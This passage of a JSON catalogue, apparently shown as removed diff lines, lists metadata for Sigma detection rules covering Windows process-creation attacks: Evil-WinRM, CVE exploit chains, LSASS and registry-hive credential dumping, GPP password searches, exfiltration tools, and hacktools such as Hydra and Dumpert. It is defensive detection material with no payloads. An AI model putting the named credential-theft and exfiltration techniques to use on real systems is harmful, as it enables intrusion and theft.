oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", - "uuid": "a197e378-d31b-41c0-9635-cfdf1c1bb423", - "value": "WinRM Access with Evil-WinRM", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", - "https://github.com/Hackplayers/evil-winrm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_evil_winrm.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.006" - ], - "creation_date": "2022/01/07", - "filename": "proc_creation_win_evil_winrm.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.", - "uuid": "344482e4-a477-436c-aa70-7536d18a48c7", - "value": "Execution via MSSQL Xp_cmdshell Stored Procedure", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/09/28", - "filename": "proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execution of well known tools for data exfiltration and tunneling", - "uuid": "c75309a3-59f8-4a8d-9c2c-4c927ad50555", - "value": "Exfiltration and Tunneling Tools Execution", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.command_and_control", - "attack.t1041", - "attack.t1572", - "attack.t1071.001" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_exfiltration_and_tunneling_tools_execution.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate Administrator using tools" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of various cli utility related to web request exfiltrating data", - "uuid": "7d1aaf3d-4304-425c-b7c3-162055e0b3ab", - "value": "Possible Exfiltration Of Data Via CLI", - "meta": { - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfil_data_via_cli.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/08/02", - "filename": "proc_creation_win_exfil_data_via_cli.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack", - "uuid": "9f107a84-532c-41af-b005-8d12a607639f", - "value": "Cabinet File Expansion", - "meta": { - "refs": [ - "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", - "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2021/07/30", - "filename": "proc_creation_win_expand_cabinet_files.yml", - "author": "Bhabesh Raj", - "level": "medium", - "falsepositive": [ - "System administrator Usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", - "uuid": "7993792c-5ce2-4475-a3db-a3a5539827ef", - "value": "Exploit for CVE-2015-1641", - "meta": { - "refs": [ - "https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/", - "https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2015_1641.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ], - "creation_date": "2018/02/22", - "filename": "proc_creation_win_exploit_cve_2015_1641.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", - "uuid": "864403a1-36c9-40a2-a982-4c9a45f7d833", - "value": "Exploit for CVE-2017-0261", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_0261.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2018/02/22", - "filename": "proc_creation_win_exploit_cve_2017_0261.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", - "uuid": "678eb5f4-8597-4be6-8be7-905e4234b53a", - "value": "Droppers Exploiting CVE-2017-11882", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", - "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2017/11/23", - "filename": "proc_creation_win_exploit_cve_2017_11882.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", - "uuid": "fdd84c68-a1f6-47c9-9477-920584f94905", - "value": "Exploit for CVE-2017-8759", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", - "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2017/09/15", - "filename": "proc_creation_win_exploit_cve_2017_8759.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", - "uuid": "1c373b6d-76ce-4553-997d-8c1da9a6b5f5", - "value": "Exploiting SetupComplete.cmd CVE-2019-1378", - "meta": { - "refs": [ - "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "attack.execution", - "attack.t1059.003", - "attack.t1574", - "cve.2019.1378" - ], - "creation_date": "2019/11/15", - "filename": "proc_creation_win_exploit_cve_2019_1378.yml", - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", - "uuid": "02e0b2ea-a597-428e-b04a-af6a1a403e5c", - "value": "Exploiting CVE-2019-1388", - "meta": { - "refs": [ - "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388", - "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2019/11/20", - "filename": "proc_creation_win_exploit_cve_2019_1388.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", - "uuid": "846b866e-2a57-46ee-8e16-85fa92759be7", - "value": "Exploited CVE-2020-10189 Zoho ManageEngine", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1059.001", - "attack.t1059.003", - "attack.s0190", - "cve.2020.10189" - ], - "creation_date": "2020/03/25", - "filename": "proc_creation_win_exploit_cve_2020_10189.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects new commands that add new printer port which point to suspicious file", - "uuid": "cc08d590-8b90-413a-aff6-31d1a99678d7", - "value": "Suspicious PrinterPorts Creation (CVE-2020-1048)", - "meta": { - "refs": [ - "https://windows-internals.com/printdemon-cve-2020-1048/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml" - ], - "tags": [ - "attack.persistence", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/05/13", - "filename": "proc_creation_win_exploit_cve_2020_1048.yml", - "author": "EagleEye Team, Florian Roth", - "level": "high", - "falsepositive": [ - "New printer port install on host" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", - "uuid": "b5281f31-f9cc-4d0d-95d0-45b91c45b487", - "value": "DNS RCE CVE-2020-1350", - "meta": { - "refs": [ - "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", - "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2020/07/15", - "filename": "proc_creation_win_exploit_cve_2020_1350.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown but benign sub processes of the Windows DNS service dns.exe" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights", - "uuid": "af8bbce4-f751-46b4-8d91-82a33a736f61", - "value": "Possible InstallerFileTakeOver LPE CVE-2021-41379", - "meta": { - "refs": [ - "https://github.com/klinix5/InstallerFileTakeOver", - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2021/11/22", - "filename": "proc_creation_win_exploit_lpe_cve_2021_41379.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM", - "uuid": "c01f7bd6-0c1d-47aa-9c61-187b91273a16", - "value": "SystemNightmare Exploitation Script Execution", - "meta": { - "refs": [ - "https://github.com/GossiTheDog/SystemNightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2021/08/11", - "filename": "proc_creation_win_exploit_systemnightmare.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Rename as a legitimate Sysinternals Suite tool to evade detection", - "uuid": "7cce6fc8-a07f-4d84-a53e-96e1879843c9", - "value": "False Sysinternals Suite Tools", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ], - "creation_date": "2021/12/20", - "filename": "proc_creation_win_false_sysinternalsuite.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a file or folder's permissions being modified.", - "uuid": "37ae075c-271b-459b-8d7b-55ad5f993dd8", - "value": "File or Folder Permissions Modifications", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.001" - ], - "creation_date": "2019/10/23", - "filename": "proc_creation_win_file_permission_modifications.yml", - "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Users interacting with the files on their own (unlikely unless privileged users).", - "Dynatrace app" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", - "uuid": "91a2c315-9ee6-4052-a853-6f6a8238f90d", - "value": "Findstr GPP Passwords", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ], - "creation_date": "2021/12/27", - "filename": "proc_creation_win_findstr_gpp_passwords.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", - "uuid": "fe63010f-8823-4864-a96b-a7b4a0f7b929", - "value": "Findstr LSASS", - "meta": { - "refs": [ - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ], - "creation_date": "2022/08/12", - "filename": "proc_creation_win_findstr_lsass.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of findstr with the \"EVERYONE\" keyword. This is often used in combination with icacls to look for misconfigured files or folders permissions", - "uuid": "47e4bab7-c626-47dc-967b-255608c9a920", - "value": "Suspicious Recon Activity Using Findstr Keywords", - "meta": { - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.006" - ], - "creation_date": "2022/08/12", - "filename": "proc_creation_win_findstr_recon_everyone.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects attempts to disable the Windows Firewall using PowerShell", - "uuid": "12f6b752-042d-483e-bf9c-915a6d06ad75", - "value": "Windows Firewall Disabled via PowerShell", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_firewall_disabled_via_powershell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2022/09/14", - "filename": "proc_creation_win_firewall_disabled_via_powershell.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", - "uuid": "32410e29-5f94-4568-b6a3-d91a8adad863", - "value": "Fast Reverse Proxy (FRP)", - "meta": { - "refs": [ - "https://asec.ahnlab.com/en/38156/", - "https://github.com/fatedier/frp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_frp.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2022/09/02", - "filename": "proc_creation_win_frp.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Attackers may leverage fsutil to enumerated connected drives.", - "uuid": "63de06b9-a385-40b5-8b32-73f2b9ef84b6", - "value": "Fsutil Drive Enumeration", - "meta": { - "refs": [ - "Turla has used fsutil fsinfo drives to list connected drives. https://attack.mitre.org/techniques/T1120/", - "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1120" - ], - "creation_date": "2022/03/29", - "filename": "proc_creation_win_fsutil_drive_enumeration.yml", - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "level": "low", - "falsepositive": [ - "Certain software or administrative tasks may trigger false positives." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", - "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f", - "value": "Fsutil Behavior Set SymlinkEvaluation", - "meta": { - "refs": [ - "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", - "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/03/02", - "filename": "proc_creation_win_fsutil_symlinkevaluation.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet", - "uuid": "c8a180d6-47a3-4345-a609-53f9c3d834fc", - "value": "Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet", - "meta": { - "refs": [ - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_get_localgroup_member_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001" - ], - "creation_date": "2022/10/10", - "filename": "proc_creation_win_get_localgroup_member_recon.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution GMER tool based on image and hash fields.", - "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d", - "value": "GMER - Rootkit Detector and Remover Execution", - "meta": { - "refs": [ - "http://www.gmer.net/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gmer_execution.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/10/05", - "filename": "proc_creation_win_gmer_execution.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "b6d98a4f-cef0-4abf-bbf6-24132854a83d", - "value": "Use of GoToAssist Remote Access Software", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gotoopener.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/13", - "filename": "proc_creation_win_gotoopener.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Dump sam, system or security hives using REG.exe utility", - "uuid": "fd877b94-9bb5-4191-bb25-d79cbd93c167", - "value": "Grabbing Sensitive Hives via Reg Utility", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_grabbing_sensitive_hives_via_reg.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "car.2013-07-001" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_grabbing_sensitive_hives_via_reg.yml", - "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Windows hacktools based on their import hash (imphash) even if the files have been renamed", - "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8", - "value": "Windows Hacktool Imphash", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml" - ], - "tags": "No established tags", - "creation_date": "2022/03/04", - "filename": "proc_creation_win_hacktool_imphashes.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of one of these tools" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", - "uuid": "cd8c163e-a19b-402e-bdd5-419ff5859f12", - "value": "ADCSPwn Hack Tool", - "meta": { - "refs": [ - "https://github.com/bats3c/ADCSPwn", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1557.001" - ], - "creation_date": "2021/07/31", - "filename": "proc_creation_win_hack_adcspwn.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", - "uuid": "f376c8a7-a2d0-4ddc-aa0c-16c17236d962", - "value": "Bloodhound and Sharphound Hack Tool", - "meta": { - "refs": [ - "https://github.com/BloodHoundAD/BloodHound", - "https://github.com/BloodHoundAD/SharpHound", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_bloodhound.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.001", - "attack.t1069.002", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/12/20", - "filename": "proc_creation_win_hack_bloodhound.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other programs that use these command line option and accepts an 'All' parameter" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of tools created by a well-known hacktool producer named Cube0x0, which includes his handle in all binaries as company information in the PE headers (SharpPrintNightmare, KrbRelay, SharpMapExec etc.)", - "uuid": "37c1333a-a0db-48be-b64b-7393b2386e3b", - "value": "Hacktool by Cube0x0", - "meta": { - "refs": [ - "https://github.com/cube0x0", - "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml" - ], - "tags": "No established tags", - "creation_date": "2022/04/27", - "filename": "proc_creation_win_hack_cube0x0_tools.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", - "uuid": "2704ab9e-afe2-4854-a3b1-0c0706d03578", - "value": "Dumpert Process Dumper", - "meta": { - "refs": [ - "https://github.com/outflanknl/Dumpert", - "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_dumpert.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2020/02/04", - "filename": "proc_creation_win_hack_dumpert.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Very unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects command line parameters used by Hydra password guessing hack tool", - "uuid": "aaafa146-074c-11eb-adc1-0242ac120002", - "value": "Hydra Password Guessing Hack Tool", - "meta": { - "refs": [ - "https://github.com/vanhauser-thc/thc-hydra", - "https://attack.mitre.org/techniques/T1110/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_hydra.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110", - "attack.t1110.001" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_hack_hydra.yml", - "author": "Vasiliy Burov", - "level": "high", - "falsepositive": [ - "Software that uses the caret encased keywords PASS and USER in its command line" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool", - "uuid": "b99a1518-1ad5-4f65-bc95-1ffff97a8fd0", - "value": "Inveigh Hack Tool", - "meta": { - "refs": [ - "https://github.com/Kevin-Robertson/Inveigh", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/10/24", - "filename": "proc_creation_win_hack_inveigh.yml", - "author": "Nasreddine Bencherchali", - "level": 